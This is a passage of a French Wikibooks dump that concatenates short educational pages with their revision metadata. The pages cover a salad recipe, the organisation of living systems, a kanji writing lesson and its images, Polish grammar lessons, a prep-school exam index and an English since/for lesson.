propriétés de plus. Pour déclarer que la classe rectangle descend de polygone, on écrit : class rectangle : public polygone { //définition de la classe rectangle }; Cuisine:Salade de ratatouille froide 3532 15035 2005-05-11T12:38:08Z Sarvok 270 ==Ingrédients== * 500g de ratatouille * 3 cuillères à soupe de raisins blonds * 2 cuillères à soupe de pignons de pin * Vinegrette * 3 cuillères à soupe d’huile d’olive * 1 cuillère à soupe de basilic ciselé * 1 cuillère à thé de curry * sel, poivre ==Préparation== * Verser la ratatouille froide dans un saladier. Ajouter les pignons de pin et les raisins. * Dans un bol, préparer la sauce en mélangeant l’huile d’olive, le basilic et le curry, puis ajouter un peu de sel et de poivre. Verser la vinaigrette sur la ratatouille. * Mélanger et déguster. Organisation des systèmes vivants 3533 44723 2006-06-16T20:06:45Z Nicombo 684 /* Systeme */ L'organisation des systèmes vivants est l'architecture des êtres : la manière dont sont agencées les différentes parties et composants du corps : cellules, organes, appareils... On peut distinguer organisation structurale et fonctionnelle. ==Échelles du vivant== *Le corps humain, comme toute matière, est composé d''''atomes'''. Discipline : '''physique et chimie'''. ''(taille : 10<sup>-10</sup>m)'' *Ces atomes sont regroupés en '''molécules'''. La principale molécule du corps est bien sûr l'eau mais on trouve aussi des lipides, des protides, des glucides, des acides nucléiques et bien d'autres... Discipline : la '''biologie moléculaire'''. ''(taille : 10<sup>-10</sup>m a 10<sup>-7</sup>m)'' *L'unité de base de tout être vivant vient ensuite : c'est la '''cellule''', étudiée par la '''biologie cellulaire'''. ''(taille : 10<sup>-6</sup>m a 10<sup>-4</sup>m)'' *Les cellules de structures et de fonctions semblables forment des '''tissus'''. (Tissu nerveux, musculaire, adipeux...) Discipline : l''''histologie'''. (taille : 10<sup>-4</sup>m a 10<sup>-2</sup>m)'' *Un '''organe''' est associé à une fonction principale. Il peut être formé de plusieurs tissus différents. C'est le domaine de l''''anatomie'''. ''(taille : 10<sup>-2</sup>m a 10<sup>-1</sup>m)'' *Un ensemble d'organes remplissant des fonctions complémentaires et en interaction définissent un '''système'''. C'est principalement la '''physiologie''' qui étudiera par exemple le système circulatoire, nerveux, digestif... *Tous les systèmes coopèrent au sein de l''''organisme'''. *On peut même étudier la vie a l'échelle de la '''population''' ou de la société dont fait parti l'organisme. Discipline : sociologie. ==Cellule== Tous les êtres vivants sont faits de cellules. En général, on ne considère pas les virus et prions, qui ne sont pas cellulaires, comme vivants. Il existe deux structures cellulaires sur terre : cellules eucaryotes et procaryotes. Les cellules procaryotes n'ont pas de cytosquelette, donc pas de noyaux ni organites. Les êtres procaryotes ne peuvent être que unicellulaires, ce sont les bactéries. Les cellules eucaryotes possèdent un cytosquelette leur permettant d'avoir des organites, de prendre une forme spécifique et de s'associer a d'autres cellules. De nombreux eucaryotes sont donc pluricellulaires. Tous les êtres vivants autres que les bactéries sont eucaryotes : levures, champignons, plantes, animaux) ===Différenciation=== Un être pluricellulaire s'organise en assignant une tâche à chacune des cellules. C'est le pourquoi de la '''différenciation cellulaire'''. Toutes les cellules d'un organisme possèdent le même code génétique (à quelques "accidents" près). Chaque cellule possède donc les mêmes gènes. Mais tous les gènes ne sont pas exprimés en même temps. (Une cellule de foie n'utilise pas les mêmes gènes qu'une cellule de rein). C'est donc le panel de gènes exprimés dans une cellule qui définit le type de cellule. Une cellule différenciée est limitée à sa fonction. Elle ne peut pas évoluer vers une autre différenciation. Il existe également des cellules non différenciées, susceptibles de donner des cellules de types variés. On distingue les cellules souches, totipotentes, pluripotentes, multipotentes... selon le panel de cellules qu'elles peuvent devenir. ===Membrane=== Les cellules sont encloses dans une membrane faite d'une double couche de lipides. L'intérieur de la cellule est appelé cytoplasme. Il est constitué d'un milieu plus ou moins homogène, le cytosol, dans lequel baignent des structures, les organites, délimitées eux aussi par des membranes biologiques. La membrane intègre aussi de nombreuses protéines qui régulent la communication de la cellule avec le milieu extérieur. ===Organites=== Les organites sont les structures spécialisées présentes dans le cytoplasme de la cellule. Les organites sont : noyau, mitochondrie, réticulum endoplasmique, appareil de Golgi, endosome, lysosome, peroxysome, chloroplaste (végétaux seulement), vacuole (végétaux et champignons). ==Tissu== Le regroupement de cellules tendant aux mêmes fonctions conduit à la formation d'un '''tissu'''.Les cellules d'un tissu sont en générale adhérentes (tissu musculaire, tissu nerveux, tissu adipeux) mais on parle également de tissu circulant (le sang). L'étude des tissus s'appele l'histologie. ==Organe== Le regroupement de tissus en un tout anatomiquement et fonctionnellement distinct forme un organe. Par exemple : foie, rate, rein, testicule, utérus, estomac, coeur, sont des organes. Chaque organe doit être relié au reste du corps. Cela est assuré via deux systèmes : la circulation et l'innervation. ==Systèmes== Des fonctions complémentaires et en interaction définissent un système. Cela signifie qu'on va étudier une partie de l'organisme orientée vers la réalisation d'une tache particulière. On va par exemple étudier tous les éléments qui participent a la digestion. Cet ensemble s'appelle le système digestif. On pourra aussi étudier les systèmes nerveux, circulatoires, immunitaires, endocriniens, musculaires, respiratoires, squelettiques, urinaires... Mais il faut garder a l'esprit que cette division est principalement une image pour l'étude. Dans la réalité, les systèmes s'interpénètrent, il n'existe pas de frontière entre eux. Image:Jap paysage.png 3534 15037 2005-05-11T17:02:34Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peyt etre chinoise ?) {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peyt etre chinoise ?) {{GPL}} Japonais:Kanji Leçon Ecriture 1 3535 44576 2006-06-15T06:42:14Z 86.199.66.11 /* Introduction */ {{en travaux}} ==Introduction== Les caractères chinois sont des dessins qui représentait des concepts plus ou moins abstraits (comme les hiéroglyphes égyptiens) qui au fil du temps se sont simplifiés pour devenir l'écriture que nous allons voir maintenant. = Une Image = je vous propose de regarder cette image suivante .. [[Image:Jap paysage.png]] je vous propose de retrouver la signification de ces "Kanji" suivant 日, 月, 山, 田, 川 et 木. Ils sont bien évidemment "cachés" dans l'image ci-dessus : arriverez vous à les reconnaitre ? = Correction = *[[Image:Lune Jap.png|100 px|Lune]]<font size="+15">月</font>, la lune *[[Image:Soleil Jap.png|100 px|Soleil]]<font size="+15">日</font>, le soleil *[[Image:Riziere Jap.png|100 px|Rizière]]<font size="+15">田</font>, les rizières/champs *[[Image:Arbre Jap.png|100 px|Arbre]]<font size="+15">木</font>, l'arbre *[[Image:Montagne jap.png|100 px|Montagne]]<font size="+15">山</font>, la montagne *[[Image:Riviere jap.png|100 px|Rivière]]<font size="+15">川</font>, la rivière <center> {| border="1" cellspacing="1" cellpadding="4" width="604" |----- |valign="middle" align="center" | '''image''' | valign="middle" align="center" | '''Archaic''' | valign="middle" align="center" | '''Seal script''' | valign="middle" align="center" | '''Traditional Modern''' | valign="middle" align="center" | '''Simplified''' | valign="middle" align="center" | '''Pinyin''' | valign="middle" align="center" | '''signification''' |----- | valign="middle" align="center" | [[Image:Soleil Jap.png|100 px|Soleil]] | valign="middle" align="center" | [[Image:Ri arch.png]] | valign="middle" align="center" | [[Image:Ri sigil.png]] | valign="middle" align="center" | <font size="7">&#26085;</font> | valign="middle" align="center" | — | valign="middle" align="center" | rì | valign="middle" align="center" | soleil |----- | valign="middle" align="center" | [[Image:Lune Jap.png|100 px|Lune]] | valign="middle" align="center" | [[Image:Yue arch.png]] | valign="middle" align="center" | [[Image:Yue sigil.png]] | valign="middle" align="center" | <font size="7">&#26376;</font> | valign="middle" align="center" | — | valign="middle" align="center" | yuè | valign="middle" align="center" | lune |----- | valign="middle" align="center" | [[Image:Montagne jap.png|100 px|Montagne]] | valign="middle" align="center" | [[Image:Shan arch.png]] | valign="middle" align="center" | [[Image:Shan sigil.png]] | valign="middle" align="center" | <font size="7">&#23665;</font> | valign="middle" align="center" | — | valign="middle" align="center" | sh&#257;n | valign="middle" align="center" | montagne |----- | valign="middle" align="center" | [[Image:Riviere jap.png|100 px|Rivière]] | valign="middle" align="center" | [[Image:Chuan arch.png]] | valign="middle" align="center" | [[Image:Chuan sigil.png]] | valign="middle" align="center" | <font size="7">&#24029;</font> | valign="middle" align="center" | — | valign="middle" align="center" | chu&#257;n | valign="middle" align="center" | rivière |----- | valign="middle" align="center" | [[Image:Arbre Jap.png|100 px|Arbre]] | valign="middle" align="center" | [[Image:Mu arch.png]] | valign="middle" align="center" | [[Image:Mu sigil.png]] | valign="middle" align="center" | <font size="7">&#26408;</font> | valign="middle" align="center" | — | valign="middle" align="center" | mù | valign="middle" align="center" | tree |} </center> = Une explication = = Ordre des traits = De manière générale *Règle N°1 les kanji doivent tenir dans un carré. *RègleN°2 *#Les Caractères s'écrivent de gauche à droite [[Image:Regle 1 Jap.png]] *#Ils s'écrivent en descendant[[Image:Regle 2 Jap.png]] *#Ils s'écrivent du haut vers les bas[[Image:Regle 3 Jap.png]] *#Il s'écrivent en partant de la gauche[[Image:Regle 4 Jap.png]] *#*Application dessin du Kanji 口[[Image:口-bw.png]] *#Quand on crée un caractère qui entoure un autre, la ligne qui enferme le caractère est la dernière. *#*Application au kanji 田[[Image:田-jbw.png]] *#On dessine en dernier la barre qui coupe le caractère. = Écriture/lecture = Ici on va vous montrer l'écriture et la lecture des caractères : *[[Image:日-bw.png]] *[[Image:川-bw.png]] *[[Image:山-bw.png]] *[[Image:木-bw.png]] *[[Image:月-bw.png]] *[[Image:田-jbw.png]] = Exercice = == Lecture == (pour corriger, il suffit juste de regarder plus haut !) Ecrivez les Kanji suivant en Hiragana : === Exercice 1 kanji seul === Ecrivez en Hiragana : * 日 * 月 * 山 * 田 * 川 * 木 === Exercice 2 dans une phrase === Ecrire en Hiragana *<Sub> よう </Sub><Br /> <big>月曜日</big> *日曜日 <Br /> <Sub> よう </Sub><Br /> <big>月曜日</big> <Sub>げつようび</Sub><Br /> <big>月曜日</big> *木曜日 *日本 *きょうは4月15日です *あの人は山田さんです *あの山は富士さんです *山川さんは日本人てす *この川は利根です == Ecriture == *Un arbre *Un homme *le soleil *la lune *une rivière *une montagne * *Dimanche *Lundi *Mardi == Application == Les Mois de l'année 1 Image:Lune Jap.png 3536 15039 2005-05-11T17:31:27Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Riziere Jap.png 3537 15040 2005-05-11T17:31:57Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Arbre Jap.png 3538 15041 2005-05-11T17:32:09Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Soleil Jap.png 3539 15042 2005-05-11T17:32:20Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Riviere jap.png 3541 15044 2005-05-11T18:36:50Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Montagne jap.png 3542 15045 2005-05-11T18:37:05Z M4RC0 274 une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} une pas très jolie images .. sous inkscape fait par moi pour le wikibook sur l'écriture japonaise (et peut etre chinoise ?), une partie isolée de l'image jap_paysage {{GPL}} Image:Regle 1 Jap.png 3543 15046 2005-05-11T19:11:21Z M4RC0 274 pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°1 les Kanji s'écrivent de Gauche à droite fait par moi, avec Photoshop {{GPL}} pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°1 les Kanji s'écrivent de Gauche à droite fait par moi, avec Photoshop {{GPL}} Image:Regle 2 Jap.png 3544 15047 2005-05-11T19:12:02Z M4RC0 274 pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°2 les Kanji s'écrivent vers le bas , avec Photoshop {{GPL}} pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°2 les Kanji s'écrivent vers le bas , avec Photoshop {{GPL}} Image:Regle 3 Jap.png 3545 15048 2005-05-11T19:12:55Z M4RC0 274 pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°3 les Kanji du haut vers le bas , avec Photoshop {{GPL}} pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°3 les Kanji du haut vers le bas , avec Photoshop {{GPL}} Image:Regle 4 Jap.png 3546 15049 2005-05-11T19:13:56Z M4RC0 274 pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°4 les Kanji de gauche à droite , avec Photoshop {{GPL}} pour la [[lecon ecriture 1]] règle d'écriture des caractères Regle N°4 les Kanji de gauche à droite , avec Photoshop {{GPL}} Polonais:Déclinaison du nom neutre 3555 26248 2005-11-29T12:56:35Z Bratta 878 /* Déclinaison du nom neutre */ = Déclinaison du nom neutre = Le genre neutre en [[Enseignement du polonais|polonais]] est moins commun. Beaucoup de mots neutres finissent en "-o" et leur déclinaison est quelque peu similaire au masculin inanimé. <table border=1> <tr><th colspan=3>Bière <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Piw'''o''' <td>Piw'''a''' <tr><th>Génitif <td>Piw'''a''' <td>Piw <tr><th>Datif <td>Piw'''u''' <td>Piw'''om''' <tr><th>Accusatif <td>Piw'''o''' <td>Piw'''a''' <tr><th>Instrumental <td>Piw'''em''' <td>Piw'''ami''' <tr><th>Locatif <td>Piw'''ie''' <td>Piw'''ach''' <tr><th colspan=3>Chaise <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Krzesł'''o''' <td>Krzesł'''a''' <tr><th>Genitif <td>Krzesł'''a''' <td><font color="#0000FF">Krzeseł</font> <tr><th>Datif <td>Krzesł'''u''' <td>Krzesł'''om''' <tr><th>Accusatif <td>Krzesł'''o''' <td>Krzesł'''a''' <tr><th>Instrumental <td>Krzesł'''em''' <td>Krzesł'''ami''' <tr><th>Locatif <td><font color="#FF0000">Krześl'''e'''</font> <td>Krzesł'''ach''' <tr><th colspan=3>Gâteau <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Ciastk'''o''' <td>Ciastk'''a''' <tr><th>Génitif <td>Ciastk'''a''' <td><font color="#0000FF">Ciastek</font> <tr><th>Datif <td>Ciastk'''u''' <td>Ciastk'''om''' <tr><th>Accusatif <td>Ciastk'''o''' <td>Ciastk'''a''' <tr><th>Instrumentatif <td>Ciastk'''iem''' <td>Ciastk'''ami''' <tr><th>Locatif <td>Ciastk'''u''' <td>Ciastk'''ach''' <tr><th colspan=3>Enfant <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Dzieck'''o''' <td>Dziec'''i''' <tr><th>Génitif <td>Dzieck'''a''' <td>Dziec'''i''' <tr><th>Datif <td>Dzieck'''u''' <td>Dziec'''iom''' <tr><th>Accusatif <td>Dzieck'''o''' <td>Dziec'''i''' <tr><th>Instrumental <td>Dzieck'''iem''' <td><font color="#00FF00">Dzieć'''mi'''</font> <tr><th>Locatif <td>Dzieck'''u''' <td>Dziec'''iach''' <tr><th colspan=3>Oeil <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Ok'''o''' <td>Ocz'''y''' <tr><th>Génitif <td>Ok'''a''' <td>Ocz'''u''' <tr><th>Datif <td>Ok'''u''' <td>Ocz'''om''' <tr><th>Accusatif <td>Ok'''o''' <td>Ocz'''y''' <tr><th>Instrumental <td>Ok'''iem''' <td>Ocz'''ami''' or archaic Ocz'''yma''' <tr><th>Locatif <td>Ok'''u''' <td>Ocz'''ach''' <tr><th colspan=3>Oreille <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Uch'''o''' <td>Usz'''y''' <tr><th>Génitif <td>Uch'''a''' <td>Usz'''u''' <tr><th>Datif <td>Uch'''u''' <td>Usz'''om''' <tr><th>Accusatif <td>Uch'''o''' <td>Usz'''y''' <tr><th>Instrumental <td>Uch'''em''' <td>Usz'''ami''' <tr><th>Locatif <td>Uch'''u''' <td>Usz'''ach''' </table> L'instrumental archaïque '''oczyma''' n'a plus grand chose à voir avec le genre neutre - c'est une relique du duel, nombre indo-européen pour une paire de choses, qui a disparu dans la plupart des langues indo-européennes modernes. Vous pouvez encore le trouver dans certaines expressions. <font color="#FF0000">Dans le locatif singulier "krześle", vous pouvez voir comment l'adoucissement marche sur un groupe de consonnes - toutes les consonnes sont adoucies, dans ce cas "s" se change en "ś" et "ł" en "l".</font> <font color="#0000FF">Comme avec les autres déclinaisons, "e" peut apparaître entre deux consonnes finales s'il n'y a pas de voyelles après elles (fin "nulle").</font> <font color="#00FF00">L'instrumental pluriel est "-ami"/"-iami" dans la plupart des noms, et "-imi"/"-ymi" dans la plupart des adjectifs. Ici, vous pouvez voir une des exceptions. Pour de certaines raisons historiques étranges, "a" a disparu et nous avons "-ćmi" à la place du "-ciami" attendu.</font> Dans le cas de "dziecko", "oko" et "ucho", vous pouvez voir qu'une forme légèrement différente est utilisée comme radical pour les formes singulier et pluriel. C'est aussi un peu archaïque. Si vous trouvez certains noms neutres, essayer de les décliner comme "piwo", "krzesło" et "ciastko", plutôt que "dziecko", "oko" ou "ucho". Exemples : * Dziecko je ciastka - L'enfant mange des gâteaux (gâteau à l'accusatif) * Dzieci nie piją piwa - Les enfants ne boivent pas de bière (bière au génitif) * Oczy Ali są zielone - Les yeux d'Ala sont verts (yeux au nominatif, Ala au génitif, vert au nominatif) * Kot jest na krześle - Le chat est sur la chaise (chaise au locatif) * zielone - forme neutre plurielle de l'adjectif "vert" == noms neutres finissant par "-e" ou "-ę" == Certaines structures incluent : <table border=1> <tr><th colspan=3>Sommet (rencontre) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Spotkani'''e''' <td>Spotkani'''a''' <tr><th>Génitif <td>Spotkani'''a''' <td>Spotkań <tr><th>Datif <td>Spotkani'''u''' <td>Spotkani'''om''' <tr><th>Accusatif <td>Spotkani'''e''' <td>Spotkani'''a''' <tr><th>Instrumental <td>Spotkani'''em''' <td>Spotkani'''ami''' <tr><th>Locatif <td>Spotkani'''u''' <td>Spotkani'''ach''' <tr><th colspan=3>Nom (patronyme) <tr><th> <tr><th>Nominatif <td>Imi'''ę''' <td>Imion'''a''' <tr><th>Génitif <td>Imi'''enia''' <td>Imion <tr><th>Datif <td>Imi'''eniu''' <td>Imion'''om''' <tr><th>Accusatif <td>Imi'''ę''' <td>Imion'''a''' <tr><th>Instrumental <td>Imi'''eniem''' <td>Imion'''ami''' <tr><th>Locatif <td>Imi'''eniu''' <td>Imion'''ach''' </table> Une autre structure est : <table border=1> <tr><th colspan=3>Bébé <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Niemowl'''ę''' <td>Niemowl'''ęta''' <tr><th>Génitif <td>Niemowl'''ęcia''' <td>Niemowl'''ąt''' <tr><th>Datif <td>Niemowl'''ęciu''' <td>Niemowl'''ętom''' <tr><th>Accusatif <td>Niemowl'''ę''' <td>Niemowl'''ęta''' <tr><th>Instrumental <td>Niemowl'''ęciem''' <td>Niemowl'''ętami''' <tr><th>Locatif <td>Niemowl'''ęciu''' <td>Niemowl'''ętach''' </table> Polonais:Prépositions comme indices des déclinaisons 3556 15059 2005-05-11T22:26:35Z Jim2k 289 ==Prépositions comme indices des déclinaisons== Les prépositions, qui généralement montrent une certaine espèce de relation spatio-temporelle litérale ou figurative entre les évènements, couvrent très rarement entre des langues différentes, et les usages litéraux et les usages figuratifs. La correspondance montrée entre certaines prépositions clefs françaises et polonaises ne devrait pas être prise à la lettre en termes de sens (sémantique); c'est seulement une approximation grossière. Néanmoins, en [[Enseignement du polonais|polonais]], le choix du verbe et de la préposition (la polonaise, évidemment) est contraint par la déclinaison. Une fois que vous développez une certaine intuition pour savoir quelle préposition vous devriez utiliser, ou quelle déclinaison, la relation entre elles peut être utilisée pour connaître la déclinaison à partir de la préposition ou vice-versa. Notez que certaines prépositions, en regardant le placement, peuvent être utilisée avec deux cas possibles. Généralement, un locatif ou instrumental sont utilisé lorsque l'acteur prend place dans cette place et l'accusative lorsqu'il vient vers cette place. Comparez : :Kot siedzi na stole. - Le chat s'assoit sur la table. (table - locatif) :Kot wskakuje na stół. - Le chat saute sur la table. (table - accusatif) :Kot nie wskakuje na stół. - Le chat ne saute pas sur la table. (table toujours à l'accusatif, pas au génitif, parcequ'elle n'est pas un objet ici !) * siedzi - 3ème personne sing. au présent à partir de "siedzieć" - s'assoir * stół - table (gen. stołu, loc. stole, pl.nom. stoły) * wskakuje - 3ème personne sing. present à partir de "wskakiwać" - sauter sur <table border=1> <tr><th> <th colspan=5>déclinaison <tr><th>Préposition française similaire<th> génitif <th> datif <th> accusatif <th> instrumental <th> locatif <tr><td>à (direction), de, pour <th>do, od, dla<th><th><th><th> <tr><td>à (place)<th>u<th><th><th><th> <tr><td>à coté de, proche, parmi/entre <th>obok, koło, wśród <th> <th> <th> <th> <tr><td>sans, excepté<th>bez, oprócz <th> <th> <th> <th> <tr><td>avec, à partir de<th>z, ze <th> <th> <th>z, ze <th> <tr><td>vers<th> <th>ku <th> <th> <th> <tr><td>merci<th> <th>dzięki <th> <th> <th> <tr><td>contre<th> <th>wbrew <th> <th> <th> <tr><td>par, à travers<th> <th> <th>przez <th> <th> <tr><td>à (place), sur, après<th> <th> <th>na, o, po <th> <th>na, o, po <tr><td>derrière, sous<th> <th> <th>za, pod <th>za, pod <th> <tr><td>dans<th> <th> <th>w, we <th> <th>w, we <tr><td>en face de<th> <th> <th> <th> <th>przy <tr><td>à travers, parmi/entre, sur (espace)<th> <th> <th>przed, między, nad <th>przed, między, nad <th> </table> Polonais:Plus sur les adjectifs 3558 15061 2005-05-12T14:35:41Z Jim2k 289 Traduction de l'article anglais = Plus sur les adjectifs = Les adjectifs en [[Enseignement du polonais|polonais]] peuvent être utilisés de plusieurs manières, incluant : * la construction "X est Y" * comme des noms * comme mots décrivant les noms, généralement placés après ceux-ci Le français "X est Y" recouvre plusieurs sens. Si Y est un nom, il veut dire généralement que X est un membre d'une certaine classe, par exemple "Ala jest dziewczyną" (Ala est une fille). Dans ce cas Y doit être utilisé à l'instumental. Mais si Y est un adjectif, il signifie une chose complètement différente - que Y possède une certaine qualité. Par exemple, "Kot jest czarny" (le chat est noir) ne veut pas dire que le chat fait partie de la classe des choses noires. Pour montrer que ceci est une situation différente, le nominatif est utilisé pour Y. Dans le cas des adjectifs des adjectifs utilisés comme des noms les deux cas peuvent être utilisés, mais le nominatif est beaucoup plus commun. Conjugaison du verbe "être" : <table border=1> <tr><th><th>Singulier<th>Pluriel <tr><th>Première personne<td>jestem<td>jesteśmy <tr><th>Deuxième personne<td>jesteś<td>jesteście <tr><th>Troisième personne<td>jest<td>są </table> * Ala jest ładna - Ala est jolie * Kot Basii jest czarny - Le chat de Basia est noir * Krowy rolnika są białe - Les vaches du fermier sont blanches * Jestem wysoki - Je suis grand * Jesteś gruby - Tu est gros * Jesteśmy młodzi - Nous sommes jeunes * Jesteście bogaci - Vous êtes riches Les adjectifs utilisés et leurs antonymes, au nominatif féminin singulier * ładna - jolie * brzydka - laide * czarna - noire * biała - blanche * wysoka - grande/haute * niska - court (hauteur) * gruba - épaisse/grosse * chuda - fine * młoda - jeune * stara - vieille * bogata - riche * biedna - pauvre Quelques exemples d'adjectifs utilisés comme des noms : * Czarni lubią muzykę - Les gens noirs aiment la musique * Ala lubi czarną - Ala aime le café noir * Bogaci lubią golf - Les gens riches aiment le golf * muzyka - musique * golf - golf Si un adjectif complète un nom, il est utilisé au même cas, nombre et genre que le nom. Voici quelques exemples : * Biały kot pije mleko - Le chat blanc boit du lait (blanc au nominatif) * Ładna dziewczyna ma białego kota - La jolie fille a un chat blanc (jolie au nominatif, blanc à l'accusatif) * Gruby chłopak nie ma czarnego kota - Le gros garçon n'a pas de chat noir (gros au nominatif, noir au génitif) * Czarne oczy Marty są ładne - Les yeux noirs de Marta sont jolis (noir et jolis au nominatif) * Dorota jest stara - Dorota est vieille (vieille au nominatif) * Dorota jest starą kobietą - Dorota est une vieille femme (vieille à l'instrumental) Vous pouvez aussi ajouter des adjectifs : * Ala ma grubego czarnego kota - Ala a un gros chat noir (gros et noir à l'accusatif) Modèle:Taupins 3562 15065 2005-05-12T20:45:34Z Aneglus 297 {| style="border:1px solid #996600;" cellspacing="0" cellpadding="5" width="250" align="right" | style="font: 100% Verdana; color:black" align="center" bgcolor="#ECE5CA" | '''[[Le Grand Livre du Taupin]]''' |- | style="font: 100% Verdana; color:black" align="left" | * Préface ** [[Le_Grand_Livre_du_Taupin#Pr.C3.A9face:_Objectifs_et_Lignes_Directrices|Objectifs]] ** [[Le_Grand_Livre_du_Taupin#Les_Livres|Description des livres]] * Les Livres ** [[Histoire de la Vie du (bon) Taupin|Histoire de la Vie]] ** [[Mathématiques du Taupin|Mathématiques]] ** [[Physique du Taupin|Physique]] ** [[Chimie du Taupin|Chimie]] ** [[Francais-Philosophie du Taupin|Francais-Philosophie]] ** [[Anglais du Taupin|Anglais]] ** [[Informatique du Taupin|Informatique]] ** [[Sciences de l'Ingenieur du Taupin|Sciences de l'Ingenieur]] ** [[Épreuve de TIPE|TIPE]] *Annexes ** [[Le Grand Livre du Taupin - Annales du Taupin|Annales]] ** [[Le Grand Livre du Taupin - Formulaires du Taupin|Formulaires]] |} Le Grand Livre du Taupin - Annales du Taupin 3563 15066 2005-05-12T22:21:36Z Aneglus 297 {{Taupins}} On pourrait lister les differentes epreuves de 1000 facons. On vous en propose 3. * '''Classique''' : ''Section/Année/Concours/Thème abordé'', vous permet d'aller directement retrouver une épreuves que l'on vous a déjà conseillée. * '''Entrainement''' : ''Section/Concours/Année/Thème abordé'', vous voulez vous entrainer pour les epreuves spécifiques à un concours ? * '''Pratique''' : ''Thème abordé/Section/Concours/Année'', vous voulez travailler un point particulier du programme ? D'autre part on met de coté les annales d'écoles spécifiques : ENAC Tous les sujets (ou presque) sont accompagnés du rapport et un jour peut etre du corrigé. == Mathématiques == === Classique === === Entrainement === === Pratique === == Physique == === Classique === === Entrainement === === Pratique === == Autres Concours == === ENAC === Polonais:Expressions de groupe 3564 15067 2005-05-12T21:57:41Z Jim2k 289 Traduction de l'article anglais = Expressions de groupe = Nous voulons souvent grouper les noms ou les phrases, pour dire "X et Y" ou "X ou Y". En [[Enseignement du polonais|polonais]] le mot de base pour "et" est "i" : * Ala i Basia mają koty - Ala et Basia ont des chats * Kobieta je ciastko i pije kawę - La femme mange du gâteau et boit du café * Kot jest gruby i czarny - Le chat est gros et noir * Adam lubi Alę i Basię - Adam aime Ala et Basia Le mot "oraz" est aussi utilisé pour exprimer "et" : * Basia ma kota oraz psa - Basia a un chat et un chien. Mais souvenez-vous - essayez de ne pas expliquer les propriétés des choses avec ce mot - "Kot jest gruby oraz czarny" ne sonne pas bien. D'autres mots importants sont "z" (avec) et "bez" (sans). "z" est utilisé avec l'instrumental, et "bez" avec le génitif * Magda z Tomkiem są małżeństwem - Magda et Tomek sont mariés (Tomek à l'instrumental) * Magda i Tomek są małżeństwem - correct aussi * Dziecko lubi kanapki z serem - L'enfant aime les sandwiches avec du fromage (fromage à l'instrumental) * Dziecko lubi kanapki i ser - L'enfant aime les sandwiches et le fromage, sens différent * Kobieta lubi kawę bez cukru - La femme aime le café sans le sucre (sucre au génitif) * małżeństwo - couple marié * kanapka - sandwich * ser - fromage * cukier - sucre * Tomek - nom masculin courant, français Thomas Lorsque vous groupez quelques noms, le résultat sera toujours pluriel, et si l'un d'entre eux était masculin personnel, alors toute l'expression le sera. Il y a beaucoup de mots pour "ou" - le plus courant est "albo" ou "lub" (même sens), mais "czy" qui a un sens différent généralement peut être utilisé aussi pour cet usage. * Masz kota albo psa ? (ou même 'Masz kota lub psa?') - "Avez-vous un chat ou un chien ?" Les réponses correctes sont "tak" ("oui", si vous avez l'un des deux ou les deux) ou "nie" ("non", si vous n'en avez pas) * Masz kota czy psa ? - "Avez-vous un chat ou un chien ?". Les réponses correctes sont "kota" ("un chat", si vous avez un chat mais pas de chien), ou "psa" ("un chien", si vous avez un chien mais pas de chat). Si vous avez les deux ou aucun, une réponse plus complexe sera nécessaire. Mais "tak"/"nie" ("oui"/"non") ne sont pas appropriés. * Ala albo Basia ma kota - Ala ou Basia ont un chat * Adam ma kota albo psa - Adam a un chat ou un chien * Dziecko je ciastko albo pije mleko - L'enfant mange un gâteau ou boit du lait Anglais:Since et for 3568 26618 2005-12-08T11:50:21Z 82.122.83.36 /* For */ '''Since''' et '''for''' peuvent s'employer tous les deux devant une durée. __NOTOC__ == Since == On utilise '''since''' lorsque l'expression indique un point de départ (une date, un fait précis).<br />Exemple : I've known him since the last year. ''Je le connais depuis l'année dernière.''<br />I've been ill since Tuesday. ''Je suis malade depuis mardi.'' == For == On utilise '''for''' devant une expression indiquant une durée en 